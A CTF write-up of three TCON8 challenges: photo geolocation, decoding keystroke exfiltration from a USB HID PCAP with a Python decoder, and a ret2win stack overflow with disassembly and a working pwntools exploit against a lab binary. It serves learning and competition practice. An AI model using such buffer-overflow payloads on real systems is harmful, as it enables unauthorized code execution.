[TCON8] [OSINT] Intersection

Challenge file: https://github.com/mlesterdampios/tcon8/tree/main/intersection

In this OSINT challenge, we’re given just a single photo of an intersection—and unfortunately, it contains no useful metadata to lean on.

My approach was a little unconventional: I cropped the image into smaller, “searchable” chunks and treated each piece like its own clue.

Attempt 1: The street sign
I started with the most obvious lead—the sign that clearly shows “4th Street”, plus a few characters that were too blurry to read. I ran it through reverse image search, but the results were way too broad and didn’t give a clean match.

Attempt 2: Brute-forcing Google Maps
Next, I tried searching Google Maps for places with “4th Street.” That idea died fast—there are tons of 4th Streets, and manually checking them felt like trying to find a specific grain of sand on a beach.

Attempt 3: Narrowing by environment
To reduce the search space, I tried filtering my mental shortlist using environmental hints—especially the pine trees, which suggested a region where they commonly grow. It helped a bit, but the results were still massive.

At that point, I also tried “walking” around in Google Maps/Street View and doing a few more reverse image searches… but everything still felt like loose threads and dead ends.


The breakthrough

Here’s what finally worked:

Instead of focusing on the street sign, I reverse-image searched the building across the intersection.

And boom—this produced promising, specific results.

From there, it was mostly trial and error: the challenge required the building name in an exact format, so once I had candidate matches, I just tested variations until I hit the correct submission format.

[TCON8] [Forensics] The Typing Ghost

Challenge File: https://github.com/mlesterdampios/tcon8/tree/main/the_typing_ghost

In this challenge we’re given a PCAP that looks like normal UDP noise at first, but it has a very “human” rhythm: a long burst of small packets all going to UDP/55555, while the source port starts at 4000 and increments by 1. That combination (tiny payloads + steady cadence + monotonic “counter” behavior) is a classic sign of keystroke-style exfiltration rather than bulk file transfer.

1) PCAP triage: spotting the exfil stream

In Wireshark, filtering down to the suspicious traffic makes the pattern obvious:

  • Display filter (example):
    udp.dstport == 55555
  • What you’ll observe:
    • Many packets with very small UDP payloads (consistent size)
    • Source ports like 4000, 4001, 4002, ... (likely a per-event/sequence counter)
    • Destination port fixed at 55555 (receiver “collector” service)

At this stage the working hypothesis becomes:

Each packet represents one keyboard event (press/release), exfiltrated to a listener on UDP/55555.

2) Recognizing the payload format (“hid:NNN|….”)

When extracting the UDP payload bytes, the data decodes cleanly into ASCII and follows this structure:

hid:<sequence>|<hex report bytes>

Example line (after hex→ASCII):

hid:008|02002f0000000000

Key observations:

  • The hid:NNN portion is metadata (sequence/index).
  • The part after | is always 16 hex characters, i.e. 8 bytes.

That “8-byte report” is a huge tell: it matches the standard USB HID keyboard report layout.

3) USB HID keyboard report (why 8 bytes matters)

A standard HID keyboard input report is typically:

ByteMeaning
0Modifier bitmap (Shift/Ctrl/Alt/GUI, left/right)
1Reserved (often 0x00)
2–7Up to 6 simultaneous keycodes

So a report like:

02 00 2f 00 00 00 00 00

means:

  • 0x02 in the modifier byte → Left Shift is pressed
  • keycode 0x2f is present → a specific key (in the map: '[')
  • with Shift held, '[' becomes '{'

Also, you’ll frequently see:

00 00 00 00 00 00 00 00

which indicates no keys pressed — effectively a key release event. That’s why skipping those records is correct: they don’t add characters.

4) Extract → decode: turning HID keycodes into text

The script does the right pipeline:

  1. Hex → bytes → ASCII to get hid:NNN|...
  2. Split on | to isolate the 8-byte report
  3. Ignore 0000000000000000 (release frames)
  4. Read:
    • mod = b[0] (modifier)
    • keycodes from b[2:] (the 6 key slots)
  5. Map HID codes to characters using a lookup table
  6. If Shift is active (0x02 left shift or 0x20 right shift), apply:
    • uppercase for letters
    • symbol transform for 1..0, -, =, [, ], \, etc.

Conceptually, the “decoder” is reconstructing exactly what a keylogger would record from raw HID events.

5) Result

Running the decoder over the extracted stream reconstructs the full typed message:

tcon{USB_H1D3N_3NTRY_TC0N_EXF1L_2025}

tshark -r usb.pcap -Y "ip.src==10.20.0.5 && ip.dst==198.51.100.200 && udp.dstport==55555" -T fields -e udp.payload

Solution

data = """6869643a3030307c3030303031373030303030303030
6869643a3030317c30303030303030303030303030303030
6869643a3030327c3030303030363030303030303030
6869643a3030337c30303030303030303030303030303030
6869643a3030347c3030303031323030303030303030
6869643a3030357c30303030303030303030303030303030
6869643a3030367c3030303031313030303030303030
6869643a3030377c30303030303030303030303030303030
6869643a3030387c3032303032663030303030303030
6869643a3030397c30303030303030303030303030303030
6869643a3031307c3032303031383030303030303030
6869643a3031317c30303030303030303030303030303030
6869643a3031327c3032303031363030303030303030
6869643a3031337c30303030303030303030303030303030
6869643a3031347c3032303030353030303030303030
6869643a3031357c30303030303030303030303030303030
6869643a3031367c3032303032643030303030303030
6869643a3031377c30303030303030303030303030303030
6869643a3031387c3032303030623030303030303030
6869643a3031397c30303030303030303030303030303030
6869643a3032307c3030303031653030303030303030
6869643a3032317c30303030303030303030303030303030
6869643a3032327c3032303030373030303030303030
6869643a3032337c30303030303030303030303030303030
6869643a3032347c3030303032303030303030303030
6869643a3032357c30303030303030303030303030303030
6869643a3032367c3032303031313030303030303030
6869643a3032377c30303030303030303030303030303030
6869643a3032387c3032303032643030303030303030
6869643a3032397c30303030303030303030303030303030
6869643a3033307c3030303032303030303030303030
6869643a3033317c30303030303030303030303030303030
6869643a3033327c3032303031313030303030303030
6869643a3033337c30303030303030303030303030303030
6869643a3033347c3032303031373030303030303030
6869643a3033357c30303030303030303030303030303030
6869643a3033367c3032303031353030303030303030
6869643a3033377c30303030303030303030303030303030
6869643a3033387c3032303031633030303030303030
6869643a3033397c30303030303030303030303030303030
6869643a3034307c3032303032643030303030303030
6869643a3034317c30303030303030303030303030303030
6869643a3034327c3032303031373030303030303030
6869643a3034337c30303030303030303030303030303030
6869643a3034347c3032303030363030303030303030
6869643a3034357c30303030303030303030303030303030
6869643a3034367c3030303032373030303030303030
6869643a3034377c30303030303030303030303030303030
6869643a3034387c3032303031313030303030303030
6869643a3034397c30303030303030303030303030303030
6869643a3035307c3032303032643030303030303030
6869643a3035317c30303030303030303030303030303030
6869643a3035327c3032303030383030303030303030
6869643a3035337c30303030303030303030303030303030
6869643a3035347c3032303031623030303030303030
6869643a3035357c30303030303030303030303030303030
6869643a3035367c3032303030393030303030303030
6869643a3035377c30303030303030303030303030303030
6869643a3035387c3030303031653030303030303030
6869643a3035397c30303030303030303030303030303030
6869643a3036307c3032303030663030303030303030
6869643a3036317c30303030303030303030303030303030
6869643a3036327c3032303032643030303030303030
6869643a3036337c30303030303030303030303030303030
6869643a3036347c3030303031663030303030303030
6869643a3036357c30303030303030303030303030303030
6869643a3036367c3030303032373030303030303030
6869643a3036377c30303030303030303030303030303030
6869643a3036387c3030303031663030303030303030
6869643a3036397c30303030303030303030303030303030
6869643a3037307c3030303032323030303030303030
6869643a3037317c30303030303030303030303030303030
6869643a3037327c3032303033303030303030303030
6869643a3037337c30303030303030303030303030303030""".strip().splitlines()

hid = {
  0x04:'a',0x05:'b',0x06:'c',0x07:'d',0x08:'e',0x09:'f',0x0A:'g',0x0B:'h',0x0C:'i',0x0D:'j',0x0E:'k',0x0F:'l',
  0x10:'m',0x11:'n',0x12:'o',0x13:'p',0x14:'q',0x15:'r',0x16:'s',0x17:'t',0x18:'u',0x19:'v',0x1A:'w',0x1B:'x',0x1C:'y',0x1D:'z',
  0x1E:'1',0x1F:'2',0x20:'3',0x21:'4',0x22:'5',0x23:'6',0x24:'7',0x25:'8',0x26:'9',0x27:'0',
  0x2C:' ', 0x2D:'-', 0x2E:'=', 0x2F:'[', 0x30:']', 0x31:'\\'
}
shift = {'1':'!','2':'@','3':'#','4':'$','5':'%','6':'^','7':'&','8':'*','9':'(','0':')',
         '-':'_','=':'+','[':'{',']':'}','\\':'|'}

out = []
for hx in data:
    s = bytes.fromhex(hx).decode()
    rep = s.split('|',1)[1]
    if rep == "0000000000000000":  # release
        continue
    b = bytes.fromhex(rep)
    mod = b[0]
    keys = b[2:]
    for k in keys:
        if k == 0: continue
        ch = hid.get(k, '')
        if mod & (0x02|0x20):  # L/R shift
            ch = ch.upper() if ch.isalpha() else shift.get(ch, ch)
        out.append(ch)

print(''.join(out))

[TCON8] [Misc] Baby Brute

Challenge Files: https://github.com/mlesterdampios/tcon8/tree/main/baby_brute

This was easily one of the coolest challenges I encountered during TCON8—and it was right up my alley because I genuinely enjoy solving binary exploitation and pwn problems.

At its core, the challenge is a classic ret2win scenario: the goal is to control execution flow by overflowing a buffer and overwriting the saved return address on the stack. Once we can replace that return address, we can redirect the program to a function of our choosing instead of returning normally.

After running basic checks (like reviewing the binary’s security posture) and looking at the decompiled code, the intended path becomes much clearer. The binary contains a win() function—typically responsible for printing the flag or triggering the success condition—and also includes a vulnerable_function() that reads user input without properly enforcing bounds. In other words, it accepts data into a fixed-size stack buffer but does not validate input length, which makes it vulnerable to a stack-based buffer overflow when the user provides more data than the buffer can hold.

From there, the exploitation flow is straightforward:

  • Identify that vulnerable_function() stores input in a stack buffer.
  • Provide an oversized payload to overflow past the buffer.
  • Overwrite the saved return address with the address of win().
  • When vulnerable_function() finishes and executes its ret, the CPU pops our overwritten return address—causing execution to jump directly into win().

So instead of needing complex ROP chains or multiple stages, the challenge rewards clean fundamentals: understand the stack layout, find the correct offset to the return address, and redirect control flow to win(). Once the return address is overwritten successfully, the program naturally “returns” into our desired location, and the win condition is triggered.

main()

.text:080492F9 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080492F9                 public main
.text:080492F9 main            proc near               ; DATA XREF: _start+20↑o
.text:080492F9
.text:080492F9 argc            = dword ptr  8
.text:080492F9 argv            = dword ptr  0Ch
.text:080492F9 envp            = dword ptr  10h
.text:080492F9
.text:080492F9 ; __unwind {
.text:080492F9                 lea     ecx, [esp+4]
.text:080492FD                 and     esp, 0FFFFFFF0h
.text:08049300                 push    dword ptr [ecx-4]
.text:08049303                 push    ebp
.text:08049304                 mov     ebp, esp
.text:08049306                 push    ebx
.text:08049307                 push    ecx
.text:08049308                 call    __x86_get_pc_thunk_bx
.text:0804930D                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049313                 mov     eax, ds:(stdin_ptr - 804C000h)[ebx]
.text:08049319                 mov     eax, [eax]
.text:0804931B                 push    0               ; n
.text:0804931D                 push    2               ; modes
.text:0804931F                 push    0               ; buf
.text:08049321                 push    eax             ; stream
.text:08049322                 call    _setvbuf
.text:08049327                 add     esp, 10h
.text:0804932A                 mov     eax, ds:(stdout_ptr - 804C000h)[ebx]
.text:08049330                 mov     eax, [eax]
.text:08049332                 push    0               ; n
.text:08049334                 push    2               ; modes
.text:08049336                 push    0               ; buf
.text:08049338                 push    eax             ; stream
.text:08049339                 call    _setvbuf
.text:0804933E                 add     esp, 10h
.text:08049341                 sub     esp, 0Ch
.text:08049344                 lea     eax, (byte_804A098 - 804C000h)[ebx]
.text:0804934A                 push    eax             ; s
.text:0804934B                 call    _puts
.text:08049350                 add     esp, 10h
.text:08049353                 sub     esp, 0Ch
.text:08049356                 lea     eax, (byte_804A114 - 804C000h)[ebx]
.text:0804935C                 push    eax             ; s
.text:0804935D                 call    _puts
.text:08049362                 add     esp, 10h
.text:08049365                 sub     esp, 0Ch
.text:08049368                 lea     eax, (byte_804A144 - 804C000h)[ebx]
.text:0804936E                 push    eax             ; s
.text:0804936F                 call    _puts
.text:08049374                 add     esp, 10h
.text:08049377                 sub     esp, 0Ch
.text:0804937A                 lea     eax, (byte_804A174 - 804C000h)[ebx]
.text:08049380                 push    eax             ; s
.text:08049381                 call    _puts
.text:08049386                 add     esp, 10h
.text:08049389                 sub     esp, 8
.text:0804938C                 lea     eax, (win - 804C000h)[ebx]
.text:08049392                 push    eax
.text:08049393                 lea     eax, (aHintTheWinFunc - 804C000h)[ebx] ; "Hint: The win() function is at address "...
.text:08049399                 push    eax             ; format
.text:0804939A                 call    _printf
.text:0804939F                 add     esp, 10h
.text:080493A2                 call    vulnerable_function
.text:080493A7                 sub     esp, 0Ch
.text:080493AA                 lea     eax, (aGoodbye - 804C000h)[ebx] ; "\nGoodbye!"
.text:080493B0                 push    eax             ; s
.text:080493B1                 call    _puts
.text:080493B6                 add     esp, 10h
.text:080493B9                 mov     eax, 0
.text:080493BE                 lea     esp, [ebp-8]
.text:080493C1                 pop     ecx
.text:080493C2                 pop     ebx
.text:080493C3                 pop     ebp
.text:080493C4                 lea     esp, [ecx-4]
.text:080493C7                 retn
.text:080493C7 ; } // starts at 80492F9
.text:080493C7 main            endp
.text:080493C7
.text:080493C7 _text           ends

win()

.text:080491F6 ; int win()
.text:080491F6                 public win
.text:080491F6 win             proc near               ; DATA XREF: main+93↓o
.text:080491F6
.text:080491F6 s               = byte ptr -4Ch
.text:080491F6 stream          = dword ptr -0Ch
.text:080491F6 var_4           = dword ptr -4
.text:080491F6
.text:080491F6 ; __unwind {
.text:080491F6                 push    ebp
.text:080491F7                 mov     ebp, esp
.text:080491F9                 push    ebx
.text:080491FA                 sub     esp, 54h
.text:080491FD                 call    __x86_get_pc_thunk_bx
.text:08049202                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049208                 sub     esp, 8
.text:0804920B                 lea     eax, (aR - 804C000h)[ebx] ; "r"
.text:08049211                 push    eax             ; modes
.text:08049212                 lea     eax, (aFlagTxt - 804C000h)[ebx] ; "/flag.txt"
.text:08049218                 push    eax             ; filename
.text:08049219                 call    _fopen
.text:0804921E                 add     esp, 10h
.text:08049221                 mov     [ebp+stream], eax
.text:08049224                 cmp     [ebp+stream], 0
.text:08049228                 jnz     short loc_8049246
.text:0804922A                 sub     esp, 0Ch
.text:0804922D                 lea     eax, (aFlagFileNotFou - 804C000h)[ebx] ; "Flag file not found! Contact admin."
.text:08049233                 push    eax             ; s
.text:08049234                 call    _puts
.text:08049239                 add     esp, 10h
.text:0804923C                 sub     esp, 0Ch
.text:0804923F                 push    1               ; status
.text:08049241                 call    _exit
.text:08049246 ; ---------------------------------------------------------------------------
.text:08049246
.text:08049246 loc_8049246:                            ; CODE XREF: win+32↑j
.text:08049246                 sub     esp, 4
.text:08049249                 push    [ebp+stream]    ; stream
.text:0804924C                 push    40h ; '@'       ; n
.text:0804924E                 lea     eax, [ebp+s]
.text:08049251                 push    eax             ; s
.text:08049252                 call    _fgets
.text:08049257                 add     esp, 10h
.text:0804925A                 sub     esp, 0Ch
.text:0804925D                 lea     eax, (asc_804A038 - 804C000h)[ebx] ; "\n"
.text:08049263                 push    eax             ; s
.text:08049264                 call    _puts
.text:08049269                 add     esp, 10h
.text:0804926C                 sub     esp, 8
.text:0804926F                 lea     eax, [ebp+s]
.text:08049272                 push    eax
.text:08049273                 lea     eax, (aFlagS - 804C000h)[ebx] ; "Flag: %s\n"
.text:08049279                 push    eax             ; format
.text:0804927A                 call    _printf
.text:0804927F                 add     esp, 10h
.text:08049282                 sub     esp, 0Ch
.text:08049285                 push    [ebp+stream]    ; stream
.text:08049288                 call    _fclose
.text:0804928D                 add     esp, 10h
.text:08049290                 nop
.text:08049291                 mov     ebx, [ebp+var_4]
.text:08049294                 leave
.text:08049295                 retn
.text:08049295 ; } // starts at 80491F6
.text:08049295 win             endp

vulnerable_function()

.text:08049296 ; int vulnerable_function()
.text:08049296                 public vulnerable_function
.text:08049296 vulnerable_function proc near           ; CODE XREF: main+A9↓p
.text:08049296
.text:08049296 s               = byte ptr -48h
.text:08049296 var_4           = dword ptr -4
.text:08049296
.text:08049296 ; __unwind {
.text:08049296                 push    ebp
.text:08049297                 mov     ebp, esp
.text:08049299                 push    ebx
.text:0804929A                 sub     esp, 44h
.text:0804929D                 call    __x86_get_pc_thunk_bx
.text:080492A2                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080492A8                 sub     esp, 0Ch
.text:080492AB                 lea     eax, (aEnterYourName - 804C000h)[ebx] ; "Enter your name: "
.text:080492B1                 push    eax             ; format
.text:080492B2                 call    _printf
.text:080492B7                 add     esp, 10h
.text:080492BA                 mov     eax, ds:(stdout_ptr - 804C000h)[ebx]
.text:080492C0                 mov     eax, [eax]
.text:080492C2                 sub     esp, 0Ch
.text:080492C5                 push    eax             ; stream
.text:080492C6                 call    _fflush
.text:080492CB                 add     esp, 10h
.text:080492CE                 sub     esp, 0Ch
.text:080492D1                 lea     eax, [ebp+s]
.text:080492D4                 push    eax             ; s
.text:080492D5                 call    _gets
.text:080492DA                 add     esp, 10h
.text:080492DD                 sub     esp, 8
.text:080492E0                 lea     eax, [ebp+s]
.text:080492E3                 push    eax
.text:080492E4                 lea     eax, (aHelloS - 804C000h)[ebx] ; "Hello, %s!\n"
.text:080492EA                 push    eax             ; format
.text:080492EB                 call    _printf
.text:080492F0                 add     esp, 10h
.text:080492F3                 nop
.text:080492F4                 mov     ebx, [ebp+var_4]
.text:080492F7                 leave
.text:080492F8                 retn
.text:080492F8 ; } // starts at 8049296
.text:080492F8 vulnerable_function endp

Solution

#!/usr/bin/env python3
from pwn import *
import re

gs = '''
continue
'''

def start(elf):
    #if args.REMOTE:
        return remote("127.0.0.1", 1337)
    #if args.GDB:
        #return gdb.debug([elf.path], gdbscript=gs)
    #else:
        #return process([elf.path])

def newRecvall(p, timeout=1):
    data = b""
    while True:
        try:
            chunk = p.recv(timeout=timeout)
            if not chunk:
                break
            data += chunk
        except EOFError:
            break
    log.info(hexdump(data))
    return data

def newSend(p, send, newline=True):
    if newline:
        log.info(b'SENDING (via sendline): ' + send)
        p.sendline(send)
    else:
        log.info(b'SENDING: ' + send)
        p.send(send)
    log.info(hexdump(send))

def newRecvuntilAndSend(p, until, send, newline=True, timeout=1, error=True):
    data = b""
    while True:
        try:
            chunk = p.recv(timeout=timeout)
            if not chunk:
                break
            data += chunk
            if until in data:
                break
        except EOFError:
            break
    if until not in data and error:
        log.info(b'Expected: ')
        log.info(hexdump(until))
        log.info(b'Received: ')
        log.info(hexdump(data))
        log.error(b'Expected `until` not found in received data')
    log.info(hexdump(data))
    newSend(p, send, newline)

def attempt_exploit():
    p = None
    try:
        elf = ELF("./pwn1")
        context.binary = elf
        context.arch = "i386"
        context.endian = "little"

        p = start(elf)

        # === Read banner and extract win() address from it ===
        banner_and_prompt = p.recvuntil(b"Enter your name:")
        log.info(b"banner_and_prompt:")
        log.info(hexdump(banner_and_prompt))

        m = re.search(rb"win\(\)\s*function\s*is\s*at\s*address\s*(0x[0-9a-fA-F]+)", banner_and_prompt)
        if not m:
            # fallback: grab the first hex address-looking token
            m = re.search(rb"(0x[0-9a-fA-F]+)", banner_and_prompt)
        if not m:
            log.error("Could not parse win() address from banner output")

        win_addr = int(m.group(1), 16)
        log.info(f"win_addr = {hex(win_addr)}")

        offset = 76
        log.info(f"offset = {offset}")

        payload = b"A" * offset + p32(win_addr)

        # === Send overflow payload ===
        newSend(p, payload, newline=True)

        # === Read whatever win() prints (flag/shell/etc.) ===
        resp = newRecvall(p, timeout=2)
        if resp:
            p.interactive()

        p.close()

    except Exception as e:
        log.info(f"Error: {e!r}")
        try:
            if p is not None:
                p.close()
        except Exception:
            pass

attempt_exploit()